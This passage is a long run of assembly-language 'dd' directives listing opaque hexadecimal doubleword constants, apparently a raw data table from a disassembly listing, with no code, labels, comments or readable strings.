		dd 0CE4648B1h, 6DB1056Dh, 0B0C6C445h, 8433E7F7h, 7073DCC4h
		dd 53079F7h, 0D785ADF5h, 1DD2D03Eh, 0FE7867Fh, 2D9A21A0h
		dd 48F5D70Ah, 14833698h, 0C0C00F71h, 34F3F79Eh,	2BD2D03Bh
		dd 0C8B16EADh, 0EDEF4688h, 49E4E707h, 0E7ADF005h, 0C7E80EE7h
		dd 70672DE5h, 0D70471E9h, 0B0A17C2Dh, 0EDAE22A8h, 0A5234B9h
		dd 0C9B0E684h, 0B8999091h, 0A0322DE2h, 0D1C5596Bh, 0A2C06A7Ah
		dd 30F38551h, 0AB4FD7E4h, 0B36D95B4h, 0C4456BE0h, 8199BCEAh
		dd 0D74645A1h, 7A3362Dh, 0F6F304ACh, 31224F8h, 56A27CEEh
		dd 7E59E998h, 0D7542D8Dh, 0BA5A6031h, 0E1510EEDh, 0F45C7A79h
		dd 496EE7E4h, 0DFEDD5C7h, 3A6967C7h, 0E7342D66h, 0C247456Bh
		dd 7BE72BFCh, 0ADFB46E8h, 0DB758565h, 6940D384h, 44756B7Fh
		dd 9231FFDCh, 0E64469EDh, 81D737BFh, 8FACA4FCh,	5DE2E709h
		dd 252DA2C2h, 0DE4926E7h, 0D7147196h, 0C1C76839h, 3F7A72Dh
		dd 2DE80674h, 45EE93C7h, 5AFCC2C5h, 3864BD11h, 0E70904ABh
		dd 0FF857F3Dh, 82F74ABFh, 0BF9F3EC7h, 69E7E735h, 0BCADA14Ch
		dd 0C4656381h, 0C7E074D3h, 0F245EC7Dh, 29F7DF01h, 0ED452359h
		dd 0A86C8148h, 57ADC7C7h, 82652EAFh, 8147ED39h,	4EC24DEFh
		dd 0E7AB0A6Dh, 2D87E34Dh, 596C8F57h, 0EC7C9003h, 4C7C78E7h
		dd 0D7477499h, 0ADEF4C3Eh, 6E9D5CADh, 0C3D7C66Dh, 0C40FF725h
		dd 0B349C0Ch, 0CD51E7C7h, 0E724F2B1h, 0E844FC77h, 6D312EB1h
		dd 0C1F9C769h, 0CCC0A0F5h, 0FAAD812Dh, 0C4696DB3h, 616BEDF9h
		dd 66EC7963h, 32E7FE6Dh, 0ADC34644h, 95BFE79Fh,	0ED7FCF73h
		dd 0E9D4F4F7h, 5D4B6797h, 0A3F659A0h, 0CF6D55ADh, 332DFAFCh
		dd 0D1F58D85h, 0CBAD72A1h, 0C171A0E7h, 0F79AF296h, 0EEE12874h
		dd 0AD53D6FCh, 2D4D2049h, 6169D77Ah, 7F9F08h, 0CE69E2BFh
		dd 0E7086DA8h, 0CCC6733Dh, 2001E87Eh, 2DE54641h, 0E430A05Ah
		dd 0FDADDAC4h, 4469E3A3h, 0E7D9C6E7h, 76D27443h, 519D0037h
		dd 0F6C3C4A0h, 59EA21A1h, 0DF2DBDE8h, 0C67D6CF7h, 21BD3FE1h
		dd 0D6C6C457h, 0E2F7CBFFh, 2DAB6165h, 79E2D7DFh, 0CAAD50E3h
		dd 5796BE7h, 0A1E02DF9h, 0D5055563h, 0A5C77F79h, 0AD8F3E75h
		dd 5095E7B9h, 0DF2DD984h, 4941EED7h, 0E7D3F793h, 0A2E8FCDDh
		dd 0E7E73844h, 2DADE941h, 45E7F71Fh, 216DED44h,	0C789D1F7h
		dd 7D366DE2h, 0EAC5A8BBh, 0A5815FEDh, 0ADA56145h, 6710D787h
		dd 4F790ECh, 84E706E7h,	0E77077E2h, 0C1C57D6Bh,	69F278FFh
		dd 2DB9A85Dh, 0B43253ECh, 0F8B6FB47h, 5125C7h, 0C7D4ADA0h
		dd 0B8EC40FEh, 56F7CEADh, 0F6DC07E4h, 0C4DCE7C8h, 87F3E347h
		dd 1E7DEAE0h, 7095F4B6h, 0E584E4DCh, 0A2F7ABB7h, 0EDEAC675h
		dd 94F1F780h, 0E5268999h, 8659A2E7h, 0D06370E7h, 0FAC79363h
		dd 2DBD3B6Dh, 0ADDDC771h, 0C812730Fh, 0DFF6DC06h, 0C68072F7h
		dd 3F9DBFD2h, 95F95DE5h, 0ADE7262Dh, 44C7C761h,	0EB3DE74Ah
		dd 0D1F6E384h, 0CEE839C7h, 0E77FC19Bh, 0DC464032h, 83FAEDh
		dd 6DEE86E4h, 0C8D6D7A5h, 0ABED9FB4h, 2941AB21h, 21AB2DB9h
		dd 0EC047129h, 64E7C7EDh, 0EDDCC749h, 49A82164h, 0FFEDF746h
		dd 0C56120E7h, 0A1CAF4E3h, 0E1C449E5h, 0A8A27A7Fh, 2DDDC749h
		dd 496AD72Bh, 0FAEDA42Ah, 6752E83h, 0E170F8E6h,	0DA46596Bh
		dd 2D73C4EDh, 0EDDDC475h, 0CC3EE7A5h, 0BCADEF86h, 0F4FC7781h
		dd 0E7F82D45h, 84EF51A4h, 63F797B4h, 2D41F43Ch,	69E2E70Ah
		dd 1FF4E3C5h, 0D76D65E7h, 0D7DDF663h, 0C10451EDh, 2511162Dh
		dd 6D423471h, 5528EA7Bh, 0DCF6A36Bh, 86D45AE7h,	0E7586DE0h
		dd 0E5856DA2h, 20C74376h, 33AF742Ch, 492BE234h,	0CC2DFDC7h
		dd 86886FDCh, 0C7A4ADD0h, 0BA37D095h, 0EBE0812Dh, 0ADADEA59h
		dd 0FFFFF7FFh, 0DD2D8523h, 66DA521h, 0F7CB01C5h, 0B81775E1h
		dd 23E7FF09h, 7499D775h, 3C63F7B6h, 6FEDB1ADh, 0C6D4DCA1h
		dd 0E7A3ADD1h, 0E1444563h, 0A6D27879h, 0B71B5441h, 5DA6B1CAh
		dd 0FCAD4DB4h, 233CADE7h, 0D7DF2D81h, 0E8C469A5h, 63E737D8h
		dd 0D8FB4465h, 51E1C7D8h, 0FFED1DD1h, 915DE0E7h, 0AEAB2D04h
		dd 90F47C5Ah, 2DF7F4ADh, 4FFC77Dh, 4DEDC0A5h, 68724DC2h
		dd 84656B2Ch, 0E7F4ADCDh, 0CB4604ADh, 6B1360EDh, 0F7D34565h
		dd 0B8739042h, 0E1ADE5C6h, 0C5F31CE7h, 0E7FF0CECh, 6A3065A0h
		dd 0F03360EDh, 0C8BB6917h, 796BE7D0h, 94D8DCC7h, 500C68B1h
		dd 0E7E9AD8Dh, 0E246BBF2h, 6BD0747Ch, 0ED8DF061h, 7DE3AA42h
		dd 68EDC073h, 6988841h,	0F765ADCFh, 0F1045D6Dh,	0D49092EDh
		dd 0FEF386ACh, 75AE2183h, 336D0DA8h, 6BECDC23h,	0E7C9AD98h
		dd 0FB456563h, 76F7EFD8h, 2DB2AA36h, 0C8868349h, 0E66DABB6h
		dd 75D6B6Dh, 0EE662DCFh, 0D7C661ADh, 64E70A7Ch,	77A5D775h
		dd 7126C7A2h, 0F1ADAD60h, 8469A0D7h, 0E7F82DCDh, 75AD75E0h
		dd 6E7CEDEDh, 6D9AD865h, 1F47C7E6h, 0A9EDD806h,	3D41A07Ah
		dd 0E762ADD0h, 0EA46C4CDh, 0E5927FBBh, 0ADF68645h, 3BF26136h
		dd 9F7B92C3h, 7D7163F7h, 0A3452D59h, 0EAC6F0CDh, 46F7E2A3h
		dd 0ADE604B1h, 592F51C5h, 0ABB38EDCh, 0A2692B21h, 0C7862D49h
		dd 53A24D2Ch, 20C79FF3h, 90BB1D14h, 84347068h, 5180D570h
		dd 0F47C15C7h, 0F7DEB48Dh, 0C0C5496Bh, 0CDC7D9C3h, 0A3EA443Bh
		dd 4121D74Ah, 0C5EDF0BCh, 9F5DE071h, 0F706F353h, 8CF47C3Dh
		dd 43F7132Dh, 2DCD0758h, 59A65E45h, 1E6DEBFCh, 0C7C49864h
		dd 42AEBFCCh, 9763270Ch, 0A0520D7Ch, 0BB217F45h, 5DE05068h
		dd 0DDAD8D94h, 3D7CFDC7h, 0E75C2DA3h, 0FB85C784h, 0C7E9BBh
		dd 6DEF86D4h, 7D26E7A5h, 2DADD145h, 456926E7h, 0E722ADD1h
		dd 0D1456126h, 26E723ADh, 0ADD14549h, 5D26E720h, 21ADD145h
		dd 45D26E7h, 22AA71F0h,	0BF3D7D29h, 256EC8EDh, 0EDFE4649h
		dd 49E0F730h, 0FF2DD446h, 0D85928E7h, 32B06D61h, 0C4C53F7Fh
		dd 81C744EDh, 4AC4C6FBh, 616B3DC2h, 7F7FCE45h, 464564E7h
		dd 0E7292DF0h, 8F57608Dh, 0A1F754F4h, 0B7D80655h, 55E0D727h
		dd 1E2DAF23h, 6E4F720h,	0F7652DCEh, 84DAECDEh, 0EBD75CB4h
		dd 6D9A0369h, 0DF8FF7CBh, 0EF6DD446h, 549EDA1h,	0E7B8EDE4h
		dd 0B93D7D63h, 0B3F7EAADh
		dd 0ADD9C7E4h, 0F09AC7E3h, 68ADBFB0h, 1A612140h, 0B18BF396h
		dd 9E4AA4A3h, 2DECDD2Dh, 0F3931D65h, 10DAF768h,	676DE8C7h
		dd 0C44161BDh, 0E7E42DE3h, 0DE1C487h, 0FDC7D0ADh, 2D9CE15Ch
		dd 5D246EC8h, 9F1969Ch,	0AF69AEA2h, 0E7FFB25Bh,	76E36DEFh
		dd 82C794ADh, 2DB52A07h, 8A09025h, 53F6B6B2h, 7970BDD7h
		dd 83276D4Ah, 0EE46C4B1h, 6BE75A6Dh, 8CC64471h,	4568C73Ah
		dd 0DF33B30Ah, 0C5EEDAF7h, 0D776ADD1h, 0FD045DEDh, 0A2F7E5EDh
		dd 0B0FDC445h, 0D8996DEEh, 6274B4E8h, 0C784337Dh, 211CFCCBh
		dd 0E106456Bh, 4EBDB12Dh, 0CEFB080h, 5B3CC73Ch,	507C4270h
		dd 0F47C7FD7h, 0E7742DA2h, 67AB5564h, 0A2F7ED54h, 76D28569h
		dd 881BD7CEh, 0CAC3859Ah, 9596AC7h, 31A5B498h, 5AACF0FCh
		dd 66A1682Dh, 0ADA8F645h, 592101CFh, 0E1ADABB2h, 6DC93D7h
		dd 0C7AB3CF3h, 0CD855521h, 0B8C798B4h, 0FBB87158h, 0FF9229F3h
		dd 5496DCC7h, 455D6BD7h, 1D33A6F6h, 0C5C70472h,	93C79B8Eh
		dd 0B4B43970h, 6D6DF7B5h, 2C3450CCh, 6D4D6D61h,	0A3C3AD74h
		dd 0F145696Bh, 0A903447Ch, 0EDD94641h, 0E093A31Eh, 68B4CDC5h
		dd 4D33BD7h, 2BDD2DFDh,	0E6044D6Bh, 65A5102Dh, 0EDB26255h
		dd 712DB31Eh, 58EDE107h, 0E2C835E7h, 0D730BFA9h, 0E404628Ch
		dd 0EA6CE12Dh, 6DD5C751h, 51A57D8Ah, 8C766583h,	0A061E9C7h
		dd 0E708EDAAh, 0A50F55E9h, 0C95304EDh, 0FC8B76DFh, 412EF786h
		dd 42D608Fh, 444C3F43h,	0E71476C8h, 0CE84796Bh,	0E51DB57Ch
		dd 448E3675h, 0C07FD7BCh, 9B6DCB46h, 0B4C835E7h, 0E76BADAFh
		dd 7E3E18A1h, 0ED9342ADh, 2DD9C451h, 64977140h,	0D92DF0C6h
		dd 67521B3h, 0D772ADFAh, 0EC447560h, 0B8C7A66Dh, 2DECC564h
		dd 71E0D715h, 0F82DDA84h, 0C555A7E7h, 0E75BF6E5h, 0D68478B6h
		dd 0E7C79EEDh, 0EDF54684h, 7CF01325h, 4D6DA340h, 2B7CB8C7h
		dd 0D72BED91h, 0E3075D25h, 83E705EDh, 0ADDD04F4h, 0F4413171h
		dd 506DC5C7h, 0C5F4D083h, 0E770ADD1h, 0E0047561h, 0E43171ADh
		dd 6DAC6255h, 7161A350h, 71AD9A68h, 471E121h, 0F0E0ADC7h
		dd 0C74645A0h, 0F0F7762Dh, 2DE045C8h, 71E7A2A1h, 0BCEDBD68h
		dd 6871E421h, 0D7F7EDADh, 0E3C6FC3Dh, 6BD7B8EDh, 76F1C469h
		dd 5D6BD73Eh, 0BF76F105h, 5416BD7h, 0D7BC76F1h,	0F105756Bh
		dd 6BD7BD76h, 0ADCF4559h, 0D812E7A5h, 0D1BEDA47h, 46C8DD81h
		dd 0A172EDEAh, 0DA47E012h, 93F7A9A6h, 76F445C4h, 4163C7A6h
		dd 0E9ADCF05h, 0BEC35D7h, 0D7646D6Dh, 0CDC469A0h, 66F7BE2Dh
		dd 0ED9EE165h, 0AC45D7D3h, 0FEADC5C7h, 84512083h, 0C73337C3h
		dd 8F224DE9h, 63C773ADh, 2DCEC461h, 4D63C793h, 4FADCF04h
		dd 0A05DE811h, 305FB187h, 7A41DC70h, 0D1E2356Dh, 2DE10473h
		dd 0B4E5017Bh, 0F1EDF145h, 0C57963C7h, 81EC31F1h, 0C7045404h
		dd 6441DCFFh, 0AD822F13h, 1F9DF0E4h, 0CB6DE687h, 0B7B7DFC7h
		dd 30AAED85h, 0E8C5C417h, 0D1D7C76Dh, 70E884A3h, 696E6D11h
		dd 352D4D2Fh, 8068C9E7h, 1399ADBAh, 0D6079EA1h,	61E7FF47h
		dd 0ED42E049h, 0D7F863D5h, 7C04F085h, 847DE0DCh, 216871DBh
		dd 0ACB241E9h, 85D7356Dh, 0EDFDC4E8h, 0E8FEE080h, 3447D607h
		dd 6D59A0D7h, 0E7002D8Dh, 0EAC748C9h, 0AAE24C2Dh, 3CDE0751h
		dd 9CFB01AEh, 7979D6C7h, 0EB712A51h, 0DC48ED86h, 98B5496Dh
		dd 6BE756F4h, 0BFE94751h, 8C52C20Ah, 87EDC644h,	857562D7h
		dd 0E7DAB4C5h, 0B46E7C01h, 14C7D53Ah, 0F4C1C66Ch, 7561E707h
		dd 976DE0C5h, 0C569A2F7h, 0D715F7C0h, 0EDC4656Dh, 0E9F72FEDh
		dd 2DDDC661h, 71E9D765h, 77AD9977h, 0C575A1D2h,	416EADF2h
		dd 0CDC545A1h, 0AED77E2Dh, 0F0AB8061h, 0C0F8E7DAh, 7EDDEC7h
		dd 747DE9D7h, 0D7D97168h, 0DF447DEDh, 21C70534h, 2DDAC555h
		dd 45A5C714h, 780D504h,	4F5528D7h, 0D7722DA3h, 94F751E9h
		dd 66C7DF2Dh, 3CF28471h, 7165E023h, 8AEDA2FAh, 8179A341h
		dd 0B06B33B0h, 0C80744DAh, 30E77BADh, 2DC846C4h, 0E0F5E7B3h
		dd 0E02DC9C7h, 0E91821D7h, 71B92D95h, 0A9EE45A3h, 26F08C71h
		dd 6DF40675h, 792A91F2h, 6530D086h, 759A770h, 6122FCE9h
		dd 901079E4h, 25D20A34h, 2DE48771h, 1396C70Bh, 112DC5C4h
		dd 0AD59A000h, 0E741ED91h, 0EC44FC30h, 0FEE7C46Dh, 70AAA9A0h
		dd 79E5F10Ah, 2BADA3B2h, 46DEAD7h, 536A2DC3h, 89336566h
		dd 10F79D34h, 2DD544F3h, 61A34DAAh, 216DD9C7h, 0C5207F70h
		dd 81FF6DE5h, 0AF827D6Eh, 35E74A32h, 2D89A968h,	55E8E016h
		dd 5D70BEE1h, 0C7412BA1h, 0E7DAADD0h, 0F4074D6Bh, 0FD81E62Dh
		dd 2DD8C5E0h, 75EDA1E6h, 74EDE404h, 0C5C0FDC7h,	0D72508DDh
		dd 0F7067DEDh, 0EAE7BA30h, 0ADD68659h, 3845D738h, 0B9ADD3C5h
		dd 338C72C7h, 0D7F82D81h, 0ED846961h, 2AC7DDF4h, 2DB2D3E8h
		dd 61A3A2C4h, 0BA6DA653h, 0F475EBE7h, 0A01F7495h, 0E3877563h
		dd 0A7B1663Ch, 34B5126Dh, 87867A22h, 66CBDFC7h,	8028FAC7h
		dd 0F714889Fh, 6AA2B039h, 0FD748EDh, 0ADE3C574h, 65A6E71Ah
		dd 0D0ADAF7Dh, 0C7348643h, 0F71DCBDFh, 0AA8028BBh, 20805DD6h
		dd 2D9A5271h, 55ED712Ah, 458383DDh, 2A4A9E7h, 0F77F7095h
		dd 8E305564h, 6B7FEDB0h, 0FBC74675h, 552DF7B0h,	0C1EDC144h
		dd 84A4F3D7h, 0B2B93CDFh, 6023B4E7h, 7AE7F56Dh,	0AD998338h
		dd 512D31ABh, 6BADC904h, 46452320h, 0E724ADD6h,	0A1F89149h
		dd 268D2EEDh, 0ED710951h, 4D67A36Bh, 853B2FDEh,	8179A76Fh
		dd 0E7B4F782h, 81A26523h, 0E1E7B470h, 0C2A7AF79h, 0C41FF79Fh
		dd 0E5C78F8Dh, 87105928h, 42573EC5h, 0E94404C7h, 2B6E9F2Dh
		dd 0DA96157Dh, 552AF7D4h, 1FF4ABA0h, 0C191D1F7h, 0E7A82D8Ah
		dd 0D807C0F5h, 6923C534h, 0AD994C65h, 756524B0h, 0B0ED4901h
		dd 835D632Ah, 0A15D6DA5h, 0FC8465E3h, 2031AD33h, 33FC4445h
		dd 7D6BE7FDh, 0FCADE884h, 827D6999h, 2AA5239Ch,	0A9157D22h
		dd 2E00E0E2h, 0BAE9C545h, 5D2137h, 3CADAE6Fh, 0FA69255Fh
		dd 0C7F66D28h, 0E1C430BCh, 0E5D71FADh, 0ADA1BE41h, 0D8C1D74Ah
		dd 0F612A661h, 0DAB559C7h, 2ED3AD4Dh, 6DBA5D61h, 0A7E74AADh
		dd 0B1DF7A71h, 6B350457h, 0F30AFDC4h, 84C7F5D7h, 0C7F56DDBh
		dd 0E746C575h, 24B9E0EDh, 0AD89E15Dh, 65E06237h, 0C6ADF684h
		dd 44E433C0h, 0D7FEB3C7h, 0A18D1CE7h, 5E736DEDh, 0B4A0F448h
		dd 45A312EEh, 7FCEDB05h, 0FC7561E7h, 6150CAB2h,	0AB5341E7h
		dd 0AFF719FCh, 0ADD74645h, 70BEF777h, 6A84D207h, 40556261h
		dd 0C7DB6DAEh, 0A689DC32h, 0E2E7946Dh, 0ADB06945h, 552BE707h
		dd 15B9AA1Fh, 0FBAF5642h, 0A1813416h, 0E745656Bh, 0E5D74A7Ch
		dd 0AD60FE79h, 240AD7DAh, 28CBC706h, 6E435C7h, 0A176ADF5h
		dd 4DB3752Ah, 0F7C7AA2Dh, 2DE30548h, 69A5F7B8h,	0F4EDDAC7h
		dd 55164C0h, 0B1DCFFF9h, 42825DE4h, 698173EDh, 0EDE20659h
		dd 716BDCE0h, 9434D285h, 851E8B99h, 52F4C6E6h, 95E273B9h
		dd 0F4B3FB6Dh, 38DD87E4h, 0F4336161h, 8AB48B71h, 4D75E8E7h
		dd 0B37A3CABh, 0C9C4416Eh, 65E7BA7Fh, 0EDADE349h, 0EBC6AFFEh
		dd 0EC5C7EA3h, 6E7B8C7h, 0F7F77CC6h, 0B3567962h, 78E062B5h
		dd 0ADED06F4h, 712AAD2Dh, 0F72DB9E2h, 85883B58h, 712A43C4h
		dd 0A46DCA73h, 3C55B6BFh, 0EDEF4664h, 59A2B331h, 0C8EDA3F1h
		dd 6AF0B453h, 0C7346DA0h, 76DE65E5h, 0ED626248h, 3BB50E51h
		dd 107BE7E7h, 9E2DCD04h, 0C7F4BE80h, 0B3BF7FC1h, 0F706796Bh
		dd 0EB61D7BCh, 0AD4B7251h
		dd 0FCB4930Dh, 94ADC404h, 679E3A1h, 0E7DD8FD2h,	0ED47796Bh
		dd 0ED65EF3Ch, 87EE0649h, 0C44EC707h, 4BAD8300h, 4541A2B2h
		dd 6D5A3CE1h, 0D9C6A835h, 0F2C75B3Fh, 7F812BE4h, 0D4F4315Eh
		dd 847CCBC6h, 0A275227Ch, 0D725AD93h, 9EDF412Ah, 0FFD7E1BFh
		dd 34E70540h, 69EFF779h, 7CB684EEh, 44756AACh, 0C7B9ADD7h
		dd 0FA063C49h, 79E798C7h, 34B17050h, 704D43EFh,	0FB6D8520h
		dd 0C7E83283h, 0E7CB6DD8h, 0D0C56087h, 0B9F72DADh, 2DD045E4h
		dd 45294D22h, 0E9FE9CC2h, 686DA323h, 0E77996CFh, 0D00659A8h
		dd 0C6F7CD6Dh, 86CFC7F3h, 93C73F20h, 68DE87EDh,	0EEEB73E2h
		dd 0D7DBF69Ch, 8623BC8Ch, 25C7387Ch, 0ADD84645h, 5811738Eh
		dd 1B6DE6C5h, 4F3DDC7h,	694B32F3h, 0BAF66754h, 0FFD7DDF6h
		dd 2DA5E270h, 8A564CDCh, 0D8BCC345h, 458E511Bh,	43EDE1E7h
		dd 0FA056D27h, 97303CA2h, 0ADE2B57Ch, 904AEE68h, 0F183AE30h
		dd 4445A0C7h, 0F7E5EDFAh, 0F384FC0Fh, 0A491A6ADh, 44CB079Ah
		dd 0E449E730h, 0D837ED06h, 46D449E7h, 0E7E6B4F0h, 72726470h
		dd 0D6632B6Dh, 0B6D346F4h, 0D0C9D7B8h, 702D75A0h, 4B05DC7h
		dd 61D72DEDh, 0BDEE45A9h, 0E1C7DF2Dh, 0BC8C985Dh, 65A0DA60h
		dd 0B62D4DF4h, 0E04846D7h, 5CA82DA1h, 0B2A1A31Eh, 7153BE6Dh
		dd 41C0C6C4h, 0FCF43CDCh, 0D349D5C7h, 0E183AFF7h, 0F7B8F474h
		dd 4D144003h, 0A1E725B7h, 0B46E619Ch, 7DE7E27Dh, 97B16474h
		dd 0A171A111h, 8B037CB0h, 9DA0B689h, 24F7DF26h,	0C1E60579h
		dd 9625AEE4h, 0EDE0F585h, 561E763h, 0C3CE1C5h, 1C51F030h
		dd 0E7AD3CF5h, 4C085175h, 45E5A1B0h, 0E65CBE80h, 84780FF7h
		dd 0C7E776F9h, 0F5C5473Eh, 2AC7CBADh, 2DD10713h, 6D6B63ECh
		dd 947FC884h, 397DAAA1h, 0D768FAC8h, 69D3B7E5h,	0FCE7C2D1h
		dd 6D854DA5h, 85E7E7E9h, 8B500355h, 0A81CD6E7h,	0A2542D9Dh
		dd 91A8DCB8h, 0BFFEEB2Dh, 2D11DBAEh, 51A5A1A1h,	32F4B24Ch
		dd 5079A2F7h, 0AF4AEDA9h, 235745AAh, 0AEB331B5h, 18D68565h
		dd 61E6C84Bh, 18CA47DDh, 859E6992h, 0B3B239D4h,	0CB8545ADh
		dd 43F2537Ch, 2D1196DCh, 45AAE45Ch, 0B46DCD46h,	83C8B4F7h
		dd 0E7DE6D66h, 0CB637DA4h, 0E6D7DE54h, 0AD8AA959h, 0C43542F6h
		dd 40BCE606h, 0C67D6DD2h, 314B1DAh, 9916616Ch, 0E4D71F4Ch
		dd 0ADE27C51h, 61EDE8C3h, 9F3CBB16h, 84A72BE7h,	11ACBBE9h
		dd 8B70ED01h, 0BDE2F67Ch, 0AD8DCD89h, 91FCD207h, 94AD42D5h
		dd 4448C764h, 0C4EDEDCAh, 21733EB6h, 71BF7C6Dh,	3766533Ch
		dd 4229492h, 0B23FFE06h, 86656BE2h, 0BDA0ADE3h,	0E3C561A2h
		dd 695C34ADh, 0FFD9C475h, 0E2C0E754h, 0BEADF484h, 8720AB4Ch
		dd 9107B4FCh, 0E3C7BCD4h, 948107C3h, 0EDF1C7BCh, 4E7C934Eh
		dd 24B16170h, 11443FC7h, 8DD72D5Dh, 0E2C679A3h,	67B1D3F5h
		dd 92835151h, 5966C77Fh, 3CBE03BEh, 665671Eh, 0F7E0B4CCh
		dd 0DB067DADh, 0F4F7ECADh, 0EDCB07F4h, 5566913Ch, 0A1AD966Dh
		dd 0C7752DF7h, 0D79BEDD0h, 0E5461FBFh, 5E43E1ADh, 2DE3C5B8h
		dd 9B53204Dh, 0F7EDB519h, 5844B9E7h, 0E7E6B46Eh, 0C8866D6Bh
		dd 1783BF78h, 0F7CE84BDh, 0F843F770h, 1F2DCD84h, 0C4BF92E7h
		dd 124FDBh, 0BA53512Fh,	5CF7F332h, 2DEBC708h, 6161F02Ch
		dd 0F2ADCD84h, 0E149E5F7h, 0E73832BAh, 0A4E128F4h, 733283ADh
		dd 72E845D4h, 8C18E776h, 2683C8C5h, 0C471AED7h,	0A168EDE9h
		dd 0C2C77528h, 0CFC0008Ch, 0FC83C1BCh, 0A91701ACh, 13EDD684h
		dd 845166F7h, 0E170EDEDh, 0E58471A2h, 0A2E7E6B4h, 0ADA11941h
		dd 0C8F5F7B5h, 0ECEDD0C7h, 842816F7h, 2254ADF6h, 856AD4C2h
		dd 71D73177h, 0F6D586FCh, 0C47DC7E6h, 25ADD006h, 0C4792DF7h
		dd 0B1B334EFh, 0F0C675A4h, 0E9D72BBCh, 0AD910C65h, 0CC83D76Dh
		dd 73848580h, 86FC3091h, 0E714EDDEh, 0FF8565A2h, 0A47162B4h
		dd 0BCF08675h, 3AA61FCh, 582D8ED8h, 455EDD7h, 0B1DC31EEh
		dd 0EC444D24h, 0A7E7F834h, 0AD9B6F61h, 408F533Ah, 646DEC84h
		dd 0C551A2F7h, 0E766ADCDh, 0E5C579E5h, 0E5F7DF6Dh, 0B6B8227Dh
		dd 2C57D76Ch, 0CB74CEC6h, 44D60D7h, 0C7DFB4F3h,	0E2C459E2h
		dd 6F6170F4h, 7F954241h, 74F2916Ah, 5F6DF706h, 0B06528ECh
		dd 0C701ED95h, 0E144CCB0h, 85D731EDh, 0B4A902FCh, 4C3BF7DBh
		dd 0C6EDAA23h, 5865A5F7h, 0E7DCAD10h, 0D2C75D6Bh, 20F7877Ch
		dd 74C60655h, 712DF7DCh, 712DC584h, 86F430F7h, 0D7D274C6h
		dd 89EF756Dh, 13F7E12Dh, 2DE9C4B0h, 6D6D10F9h, 0D6AD902Ch
		dd 4771AFF7h, 0F7F16DC0h, 0F40659AFh, 85D7F0ADh, 82A230EFh
		dd 0E447C7DDh, 712D896Dh, 856563E7h, 0B1373CD3h, 6ECC4DE4h
		dd 65E7B1B4h, 2D896369h, 6DEA6DB6h, 0EDBFC584h,	0C76563E7h
		dd 618B3CC4h, 7F717921h, 31E7D9B4h, 3CC844F4h, 5120A171h
		dd 0CBADB642h, 2A55AAE7h, 93B3B446h, 0D986FC02h, 7291468Fh
		dd 0ADD14644h, 7C70C735h, 0EE6DBB5Ch, 23CCB5D7h, 0F7FDB4B7h
		dd 0D384403Bh, 0FFD7ADADh, 0EDEAC5D4h, 79A5E74Ah, 0FFB4C6C5h
		dd 0CD55E5C7h, 81BC2D4Dh, 0E1C47870h, 66530EF4h, 0ADFC0645h
		dd 6928D779h, 95ADCF84h, 0CE8B2A81h, 0E7E1B465h, 0C1C541A2h
		dd 2463FD8Fh, 0BFC62E65h, 0CFC363AFh, 402D81A0h, 6D431A9h
		dd 0E7B647E6h, 81A35DAAh, 25F787ADh, 0EDA54261h, 5D6EA3CDh
		dd 10ADD844h, 0C45D24B3h, 0E7DEFCE8h, 0BF015121h, 0A0C7D0F7h
		dd 71A7AD4Dh, 4D29E7B2h, 312DB5ADh, 624C44C7h, 95192DF1h
		dd 0C0EDE97Ah, 870E74EDh, 9F8C7AC8h, 0E4FFD7FFh, 0D287E806h
		dd 0C7E4C0C7h, 33AA7F0h, 784D660Ah, 2469B2ADh, 0B4A56F49h
		dd 7D25D7DDh, 342DFDC7h, 6C40477Fh, 713E7C64h, 0F7864612h
		dd 80F7F9B7h, 0F73F8BE5h, 51A9C7DCh, 0DEDA420h,	0EC5168A1h
		dd 6DFE2D41h, 624A61A7h, 0E3F7DFDEh, 0F4E28559h, 0F074630Dh
		dd 3FADB8F7h, 0B0712CD0h, 0E7787C9Ch, 0E4C749A6h, 0A9C70571h
		dd 6DE6C575h, 65A4E77Ah, 0E4ADD785h, 0C57D6DD7h, 0C7652DCEh
		dd 83CE0882h, 7E425D30h, 0EDDC04F7h, 0EC83F71Ah, 0E2F1B1D5h
		dd 44556BE7h, 0F7ABF9EFh, 0F704EC83h, 2D73172Dh, 6DCDC451h
		dd 5969E7DFh, 0E374D504h, 1C656FA1h, 3922DA1h, 0C74645E5h
		dd 8C267ADh, 81EDC5E0h,	79EDF774h, 88F98003h, 840037F7h
		dd 23F76DEDh, 0DEC4F915h, 5FD7BAEDh, 0EDCDC7ECh, 0C5D58308h
		dd 26ADFAC5h, 0C675217Dh, 0F78C2DCDh, 8D77AB21h, 63E75D2Dh
		dd 7486890Ch, 0D83CD7E7h, 93F41389h, 447DED12h,	0C70574CEh
		dd 84604121h, 0FEB2FC37h, 32C0C554h, 79E0E7E1h,	2CEDE3C6h
		dd 46C4F5F0h, 530E2DE0h, 0C1C4756Dh, 0B7C7E3EDh, 39A0D868h
		dd 61A8D7DFh, 55CACF86h, 7C4C6D7h, 0D73AEDC1h, 0E98468B8h
		dd 672DA9ADh, 0F4BDA47Dh, 49E0E7D6h, 222DDCC7h,	8400BDB0h
		dd 0D7DE10EEh, 0F0C6543Bh, 85D2B6F7h, 6DE9C77Ch, 69E86F34h
		dd 5B2DE5C7h, 85516D91h, 0B2B36DE1h, 0DB06E430h, 0EDF7F56Dh
		dd 2DA38065h, 6DA7C7DFh, 6BFED86h, 0A093ABE7h, 91C22D81h
		dd 0D2866566h, 0E2C72FADh, 0EDDCC571h, 69ABE7B6h, 0FFEDC104h
		dd 0C5696BE7h, 0D711FFE8h, 0DAC52C76h, 28235AE0h, 0AD57F049h
		dd 6DA2D71Dh, 792DB990h, 0C4D047F7h, 0F7BB71DFh, 0AC752464h
		dd 0A1D2BDEDh, 0ADB4F65Dh, 0C8BCB167h, 0FFF482E2h, 85696DE7h
		dd 0D26980FEh, 0B9285DEDh, 0E5AC60EDh, 81A5D451h, 7960D747h
		dd 162D8D0Dh, 0A90C65C7h, 0E7FF51D7h, 5A7671A4h, 7E42636Dh
		dd 0EDE80474h, 77FEBD89h
		dd 15F8EF86h, 84E43CE7h, 0A337ADF5h, 9B8071A6h,	0E9911674h
		dd 0EDD50659h, 65EAA1F6h, 49309111h, 0E055A5A1h, 92E96DA5h
		dd 0F4C53468h, 0E192E53Ch, 2DE2C545h, 75A5B073h, 0C8AD8F96h
		dd 46882E7h, 0F7DFEDC9h, 0D1475DE0h, 69E705BFh,	34C4C579h
		dd 5969F729h, 29EDE507h, 0AA000441h, 0E7F736BCh, 913D41A5h
		dd 4E74574h, 0EDC9C4ABh, 61EE6280h, 0D26DAF62h,	0C74525E0h
